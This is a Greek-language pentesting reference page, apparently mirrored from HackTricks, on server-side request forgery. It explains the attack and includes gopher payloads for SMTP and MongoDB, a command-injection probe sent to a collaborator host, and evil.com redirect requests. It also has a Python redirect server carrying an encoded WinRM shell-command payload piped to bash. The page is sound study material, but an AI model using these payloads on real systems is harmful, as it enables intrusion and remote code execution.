mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
393 lines
35 KiB
Markdown
393 lines
35 KiB
Markdown
# SSRF (Server Side Request Forgery)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
Μια **ευπάθεια Server-side Request Forgery (SSRF)** συμβαίνει όταν ένας επιτιθέμενος χειραγωγεί μια **εφαρμογή server-side** ώστε να κάνει **HTTP αιτήματα** σε έναν τομέα της επιλογής του. Αυτή η ευπάθεια εκθέτει τον διακομιστή σε αυθαίρετα εξωτερικά αιτήματα που κατευθύνονται από τον επιτιθέμενο.
|
||
|
||
## Capture SSRF
|
||
|
||
Το πρώτο πράγμα που πρέπει να κάνετε είναι να καταγράψετε μια αλληλεπίδραση SSRF που δημιουργήσατε εσείς. Για να καταγράψετε μια αλληλεπίδραση HTTP ή DNS μπορείτε να χρησιμοποιήσετε εργαλεία όπως:
|
||
|
||
- **Burp Collaborator**
|
||
- [**pingb**](http://pingb.in)
|
||
- [**canarytokens**](https://canarytokens.org/generate)
|
||
- [**interractsh**](https://github.com/projectdiscovery/interactsh)
|
||
- [**http://webhook.site**](http://webhook.site)
|
||
- [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
||
- [http://requestrepo.com/](http://requestrepo.com/)
|
||
- [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
||
- [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Ένας Burp Collaborator που χρησιμοποιεί ngrok
|
||
|
||
## Whitelisted Domains Bypass
|
||
|
||
Συνήθως θα διαπιστώσετε ότι το SSRF λειτουργεί μόνο σε **ορισμένους εγκεκριμένους τομείς** ή URL. Στην παρακάτω σελίδα έχετε μια **συγκέντρωση τεχνικών για να προσπαθήσετε να παρακάμψετε αυτήν την έγκριση**:
|
||
|
||
{{#ref}}
|
||
url-format-bypass.md
|
||
{{#endref}}
|
||
|
||
### Bypass via open redirect
|
||
|
||
Εάν ο διακομιστής είναι σωστά προστατευμένος, μπορείτε να **παρακάμψετε όλους τους περιορισμούς εκμεταλλευόμενοι μια Ανοιχτή Ανακατεύθυνση μέσα στη σελίδα**. Επειδή η ιστοσελίδα θα επιτρέπει **SSRF στον ίδιο τομέα** και πιθανώς θα **ακολουθεί ανακατευθύνσεις**, μπορείτε να εκμεταλλευτείτε την **Ανοιχτή Ανακατεύθυνση για να κάνετε τον διακομιστή να έχει πρόσβαση σε οποιοδήποτε εσωτερικό πόρο**.\
|
||
Διαβάστε περισσότερα εδώ: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||
|
||
## Protocols
|
||
|
||
- **file://**
|
||
- Το σχήμα URL `file://` αναφέρεται, δείχνοντας απευθείας στο `/etc/passwd`: `file:///etc/passwd`
|
||
- **dict://**
|
||
- Το σχήμα URL DICT περιγράφεται ως χρησιμοποιούμενο για την πρόσβαση σε ορισμούς ή λίστες λέξεων μέσω του πρωτοκόλλου DICT. Ένα παράδειγμα που δίνεται απεικονίζει ένα κατασκευασμένο URL που στοχεύει σε μια συγκεκριμένη λέξη, βάση δεδομένων και αριθμό καταχώρησης, καθώς και μια περίπτωση ενός PHP script που μπορεί να χρησιμοποιηθεί κακόβουλα για να συνδεθεί σε έναν διακομιστή DICT χρησιμοποιώντας διαπιστευτήρια που παρέχονται από τον επιτιθέμενο: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||
- **SFTP://**
|
||
- Αναγνωρίζεται ως πρωτόκολλο για ασφαλή μεταφορά αρχείων μέσω ασφαλούς κελύφους, παρέχεται ένα παράδειγμα που δείχνει πώς ένα PHP script θα μπορούσε να εκμεταλλευτεί για να συνδεθεί σε έναν κακόβουλο διακομιστή SFTP: `url=sftp://generic.com:11111/`
|
||
- **TFTP://**
|
||
- Το Trivial File Transfer Protocol, που λειτουργεί μέσω UDP, αναφέρεται με ένα παράδειγμα ενός PHP script σχεδιασμένου να στείλει ένα αίτημα σε έναν διακομιστή TFTP. Ένα αίτημα TFTP γίνεται στο 'generic.com' στην πόρτα '12346' για το αρχείο 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||
- **LDAP://**
|
||
- Αυτό το τμήμα καλύπτει το Lightweight Directory Access Protocol, τονίζοντας τη χρήση του για τη διαχείριση και πρόσβαση σε κατανεμημένες υπηρεσίες πληροφοριών καταλόγου μέσω δικτύων IP. Αλληλεπιδράστε με έναν διακομιστή LDAP στον localhost: `'%0astats%0aquit' μέσω ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||
- **SMTP**
|
||
- Περιγράφεται μια μέθοδος εκμετάλλευσης ευπαθειών SSRF για αλληλεπίδραση με υπηρεσίες SMTP στον localhost, συμπεριλαμβανομένων βημάτων για την αποκάλυψη εσωτερικών ονομάτων τομέα και περαιτέρω ερευνητικών ενεργειών με βάση αυτές τις πληροφορίες.
|
||
```
|
||
From https://twitter.com/har1sec/status/1182255952055164929
|
||
1. connect with SSRF on smtp localhost:25
|
||
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
|
||
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
|
||
4. connect
|
||
```
|
||
- **Curl URL globbing - WAF bypass**
|
||
- Αν η SSRF εκτελείται από **curl**, το curl έχει μια δυνατότητα που ονομάζεται [**URL globbing**](https://everything.curl.dev/cmdline/globbing) που θα μπορούσε να είναι χρήσιμη για την παράκαμψη των WAF. Για παράδειγμα, σε αυτήν την [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) μπορείτε να βρείτε αυτό το παράδειγμα για **path traversal μέσω του πρωτοκόλλου `file`**:
|
||
```
|
||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||
```
|
||
- **Gopher://**
|
||
- Η ικανότητα του πρωτοκόλλου Gopher να καθορίζει IP, θύρα και bytes για την επικοινωνία με τον διακομιστή συζητείται, μαζί με εργαλεία όπως το Gopherus και το remote-method-guesser για τη δημιουργία payloads. Δύο διακριτές χρήσεις απεικονίζονται:
|
||
|
||
### Gopher://
|
||
|
||
Χρησιμοποιώντας αυτό το πρωτόκολλο μπορείτε να καθορίσετε το **IP, τη θύρα και τα bytes** που θέλετε να **στείλει** ο διακομιστής. Στη συνέχεια, μπορείτε βασικά να εκμεταλλευτείτε μια SSRF για να **επικοινωνήσετε με οποιονδήποτε TCP διακομιστή** (αλλά πρέπει πρώτα να ξέρετε πώς να μιλήσετε με την υπηρεσία).\
|
||
Ευτυχώς, μπορείτε να χρησιμοποιήσετε το [Gopherus](https://github.com/tarunkant/Gopherus) για να δημιουργήσετε payloads για πολλές υπηρεσίες. Επιπλέον, το [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) μπορεί να χρησιμοποιηθεί για τη δημιουργία _gopher_ payloads για _Java RMI_ υπηρεσίες.
|
||
|
||
**Gopher smtp**
|
||
```
|
||
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
|
||
will make a request like
|
||
HELO localhost
|
||
MAIL FROM:<hacker@site.com>
|
||
RCPT TO:<victim@site.com>
|
||
DATA
|
||
From: [Hacker] <hacker@site.com>
|
||
To: <victime@site.com>
|
||
Date: Tue, 15 Sep 2017 17:20:26 -0400
|
||
Subject: Ah Ah AHYou didn't say the magic word !
|
||
.
|
||
QUIT
|
||
```
|
||
**Gopher HTTP**
|
||
```bash
|
||
#For new lines you can use %0A, %0D%0A
|
||
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
||
```
|
||
**Gopher SMTP — Επιστροφή σύνδεσης στο 1337**
|
||
```php:redirect.php
|
||
<?php
|
||
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
||
?>Now query it.
|
||
https://example.com/?q=http://evil.com/redirect.php.
|
||
```
|
||
#### Gopher MongoDB -- Δημιουργία χρήστη με όνομα χρήστη=admin με κωδικό=admin123 και με άδεια=administrator
|
||
```bash
|
||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
|
||
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
|
||
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
|
||
%00%00administrator%00%00%00%00'
|
||
```
|
||
## SSRF μέσω του κεφαλίδας Referrer & Άλλα
|
||
|
||
Το λογισμικό ανάλυσης στους διακομιστές συχνά καταγράφει την κεφαλίδα Referrer για να παρακολουθεί τους εισερχόμενους συνδέσμους, μια πρακτική που ακούσια εκθέτει τις εφαρμογές σε ευπάθειες Server-Side Request Forgery (SSRF). Αυτό συμβαίνει επειδή τέτοιο λογισμικό μπορεί να επισκεφθεί εξωτερικές διευθύνσεις URL που αναφέρονται στην κεφαλίδα Referrer για να αναλύσει το περιεχόμενο των παραπομπών. Για να αποκαλυφθούν αυτές οι ευπάθειες, προτείνεται το πρόσθετο Burp Suite "**Collaborator Everywhere**", εκμεταλλευόμενο τον τρόπο που τα εργαλεία ανάλυσης επεξεργάζονται την κεφαλίδα Referer για να εντοπίσουν πιθανά επιφάνειες επίθεσης SSRF.
|
||
|
||
## SSRF μέσω δεδομένων SNI από πιστοποιητικό
|
||
|
||
Μια κακή ρύθμιση που θα μπορούσε να επιτρέψει τη σύνδεση σε οποιοδήποτε backend μέσω μιας απλής ρύθμισης απεικονίζεται με ένα παράδειγμα ρύθμισης Nginx:
|
||
```
|
||
stream {
|
||
server {
|
||
listen 443;
|
||
resolver 127.0.0.11;
|
||
proxy_pass $ssl_preread_server_name:443;
|
||
ssl_preread on;
|
||
}
|
||
}
|
||
```
|
||
Σε αυτή τη διαμόρφωση, η τιμή από το πεδίο Server Name Indication (SNI) χρησιμοποιείται άμεσα ως διεύθυνση του backend. Αυτή η ρύθμιση εκθέτει μια ευπάθεια σε Server-Side Request Forgery (SSRF), η οποία μπορεί να εκμεταλλευτεί απλά καθορίζοντας τη ζητούμενη διεύθυνση IP ή το όνομα τομέα στο πεδίο SNI. Ένα παράδειγμα εκμετάλλευσης για να αναγκάσει μια σύνδεση σε ένα αυθαίρετο backend, όπως το `internal.host.com`, χρησιμοποιώντας την εντολή `openssl` δίνεται παρακάτω:
|
||
```bash
|
||
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
||
```
|
||
## [Wget file upload](../file-upload/index.html#wget-file-upload-ssrf-trick)
|
||
|
||
## SSRF με Command Injection
|
||
|
||
Μπορεί να αξίζει να δοκιμάσετε ένα payload όπως: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||
|
||
## Απόδοση PDFs
|
||
|
||
Εάν η ιστοσελίδα δημιουργεί αυτόματα ένα PDF με κάποιες πληροφορίες που έχετε παρέχει, μπορείτε να **εισάγετε κάποιο JS που θα εκτελείται από τον ίδιο τον δημιουργό του PDF** (τον διακομιστή) κατά τη δημιουργία του PDF και θα μπορείτε να εκμεταλλευτείτε ένα SSRF. [**Βρείτε περισσότερες πληροφορίες εδώ**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||
|
||
## Από SSRF σε DoS
|
||
|
||
Δημιουργήστε πολλές συνεδρίες και προσπαθήστε να κατεβάσετε βαριά αρχεία εκμεταλλευόμενοι το SSRF από τις συνεδρίες.
|
||
|
||
## SSRF PHP Functions
|
||
|
||
Ελέγξτε την παρακάτω σελίδα για ευάλωτες PHP και ακόμη και Wordpress συναρτήσεις:
|
||
|
||
{{#ref}}
|
||
../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
|
||
{{#endref}}
|
||
|
||
## SSRF Redirect σε Gopher
|
||
|
||
Για ορισμένες εκμεταλλεύσεις μπορεί να χρειαστεί να **στείλετε μια απάντηση ανακατεύθυνσης** (πιθανώς για να χρησιμοποιήσετε ένα διαφορετικό πρωτόκολλο όπως το gopher). Εδώ έχετε διάφορους κωδικούς python για να απαντήσετε με μια ανακατεύθυνση:
|
||
```python
|
||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||
import ssl
|
||
|
||
class MainHandler(BaseHTTPRequestHandler):
|
||
def do_GET(self):
|
||
print("GET")
|
||
self.send_response(301)
|
||
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
|
||
self.end_headers()
|
||
|
||
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
||
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
|
||
httpd.serve_forever()
|
||
```
|
||
|
||
```python
|
||
from flask import Flask, redirect
|
||
from urllib.parse import quote
|
||
app = Flask(__name__)
|
||
|
||
@app.route('/')
|
||
def root():
|
||
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
|
||
|
||
if __name__ == "__main__":
|
||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||
```
|
||
## Misconfigured proxies to SSRF
|
||
|
||
Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||
|
||
### Flask
|
||
|
||
<details>
|
||
|
||
<summary>Flask proxy vulnerable code</summary>
|
||
```python
|
||
from flask import Flask
|
||
from requests import get
|
||
|
||
app = Flask('__main__')
|
||
SITE_NAME = 'https://google.com'
|
||
|
||
@app.route('/', defaults={'path': ''})
|
||
@app.route('/<path:path>')
|
||
|
||
def proxy(path):
|
||
return get(f'{SITE_NAME}{path}').content
|
||
|
||
if __name__ == "__main__":
|
||
app.run(threaded=False)
|
||
```
|
||
</details>
|
||
|
||
Το Flask επιτρέπει τη χρήση του **`@`** ως αρχικό χαρακτήρα, που επιτρέπει να γίνει το **αρχικό όνομα κεντρικού υπολογιστή το όνομα χρήστη** και να εισαχθεί ένα νέο. Αιτούμενο αίτημα επίθεσης:
|
||
```http
|
||
GET @evildomain.com/ HTTP/1.1
|
||
Host: target.com
|
||
Connection: close
|
||
```
|
||
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||
|
||
Ευάλωτος κώδικας:
|
||
|
||
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Ανακαλύφθηκε ότι είναι δυνατό να **ξεκινήσει η διαδρομή** ενός αιτήματος με τον χαρακτήρα **`;`** που επιτρέπει στη συνέχεια τη χρήση του **`@`** και την εισαγωγή μιας νέας διεύθυνσης για πρόσβαση. Αιτηματική επίθεση:
|
||
```http
|
||
GET ;@evil.com/url HTTP/1.1
|
||
Host: target.com
|
||
Connection: close
|
||
```
|
||
### PHP Built-in Web Server <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
||
|
||
<details>
|
||
|
||
<summary>Ευάλωτος κώδικας PHP</summary>
|
||
```php
|
||
<?php
|
||
$site = "http://ifconfig.me";
|
||
$current_uri = $_SERVER['REQUEST_URI'];
|
||
|
||
$proxy_site = $site.$current_uri;
|
||
var_dump($proxy_site);
|
||
|
||
echo "\n\n";
|
||
|
||
$response = file_get_contents($proxy_site);
|
||
var_dump($response);
|
||
?>
|
||
```
|
||
</details>
|
||
|
||
Η PHP επιτρέπει τη χρήση του **χαρακτήρα `*` πριν από μια κάθετο στη διαδρομή** του URL, ωστόσο, έχει άλλους περιορισμούς όπως ότι μπορεί να χρησιμοποιηθεί μόνο για τη ριζική διαδρομή `/` και ότι οι τελείες `.` δεν επιτρέπονται πριν από την πρώτη κάθετο, επομένως είναι απαραίτητο να χρησιμοποιηθεί μια διεύθυνση IP κωδικοποιημένη σε hex χωρίς τελείες, για παράδειγμα:
|
||
```http
|
||
GET *@0xa9fea9fe/ HTTP/1.1
|
||
Host: target.com
|
||
Connection: close
|
||
```
|
||
## DNS Rebidding CORS/SOP bypass
|
||
|
||
Αν έχετε **προβλήματα** να **εξάγετε περιεχόμενο από μια τοπική IP** λόγω **CORS/SOP**, η **DNS Rebidding** μπορεί να χρησιμοποιηθεί για να παρακάμψει αυτόν τον περιορισμό:
|
||
|
||
{{#ref}}
|
||
../cors-bypass.md
|
||
{{#endref}}
|
||
|
||
### Automated DNS Rebidding
|
||
|
||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για την εκτέλεση επιθέσεων [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS ονόματος του επιτιθέμενου με τη διεύθυνση IP της στοχοθετημένης μηχανής και να σερβίρει επιθέσεις για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχοθετημένη μηχανή.
|
||
|
||
Δείτε επίσης τον **δημόσια λειτουργούντα διακομιστή στο** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||
|
||
## DNS Rebidding + TLS Session ID/Session ticket
|
||
|
||
Απαιτήσεις:
|
||
|
||
- **SSRF**
|
||
- **Εξερχόμενες TLS συνεδρίες**
|
||
- **Πράγματα σε τοπικές θύρες**
|
||
|
||
Επίθεση:
|
||
|
||
1. Ζητήστε από τον χρήστη/bot να **έχει πρόσβαση** σε ένα **domain** που ελέγχεται από τον **επιτιθέμενο**
|
||
2. Ο **TTL** του **DNS** είναι **0** δευτερόλεπτα (έτσι το θύμα θα ελέγξει ξανά τη διεύθυνση IP του domain σύντομα)
|
||
3. Δημιουργείται μια **TLS σύνδεση** μεταξύ του θύματος και του domain του επιτιθέμενου. Ο επιτιθέμενος εισάγει το **payload μέσα** στο **Session ID ή Session Ticket**.
|
||
4. Το **domain** θα ξεκινήσει έναν **άπειρο βρόχο** ανακατευθύνσεων κατά **του εαυτού του**. Ο στόχος αυτού είναι να κάνει τον χρήστη/bot να έχει πρόσβαση στο domain μέχρι να εκτελέσει **ξανά** ένα **DNS request** του domain.
|
||
5. Στο DNS request δίνεται μια **ιδιωτική διεύθυνση IP** **τώρα** (127.0.0.1 για παράδειγμα)
|
||
6. Ο χρήστης/bot θα προσπαθήσει να **επανιδρύσει τη TLS σύνδεση** και για να το κάνει αυτό θα **στείλει** το **Session** ID/Ticket ID (όπου περιείχε το **payload** του επιτιθέμενου). Συγχαρητήρια, καταφέρατε να ζητήσετε από τον **χρήστη/bot να επιτεθεί στον εαυτό του**.
|
||
|
||
Σημειώστε ότι κατά τη διάρκεια αυτής της επίθεσης, αν θέλετε να επιτεθείτε στο localhost:11211 (_memcache_) πρέπει να κάνετε το θύμα να δημιουργήσει την αρχική σύνδεση με www.attacker.com:11211 (η **θύρα πρέπει πάντα να είναι η ίδια**).\
|
||
Για **να εκτελέσετε αυτή την επίθεση μπορείτε να χρησιμοποιήσετε το εργαλείο**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||
Για **περισσότερες πληροφορίες** ρίξτε μια ματιά στην ομιλία όπου εξηγείται αυτή η επίθεση: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||
|
||
## Blind SSRF
|
||
|
||
